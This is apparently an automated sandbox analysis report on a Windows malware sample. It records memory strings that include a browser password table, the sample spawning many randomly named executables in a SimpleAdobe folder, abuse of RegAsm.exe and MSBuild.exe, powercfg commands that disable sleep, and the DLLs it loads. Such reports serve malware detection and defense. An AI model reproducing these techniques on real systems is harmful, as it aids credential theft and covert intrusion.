Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3395244504.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3340798411.00000000076A5000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3217288107.00000000013E4000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3218502364.00000000013E4000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3216636159.00000000013E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: tZvjMg3Hw9.exe

ReversingLabs: Detection: 39%

Source: lrPP7Py6j59vWWqs5P8cBSO1.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: unknown	Process created: C:\Users\user\Desktop\tZvjMg3Hw9.exe "C:\Users\user\Desktop\tZvjMg3Hw9.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2724 -ip 2724
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 316
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe .\Install.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Process created: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp "C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp" /SL5="$A0070,4844569,54272,C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe"
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process created: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe .\Install.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Process created: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp "C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp" /SL5="$A0070,4844569,54272,C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe"
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2724 -ip 2724
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 316
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process created: unknown unknown

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: gpedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dssec.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dsuiext.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: wldp.dll	Jump to behavior
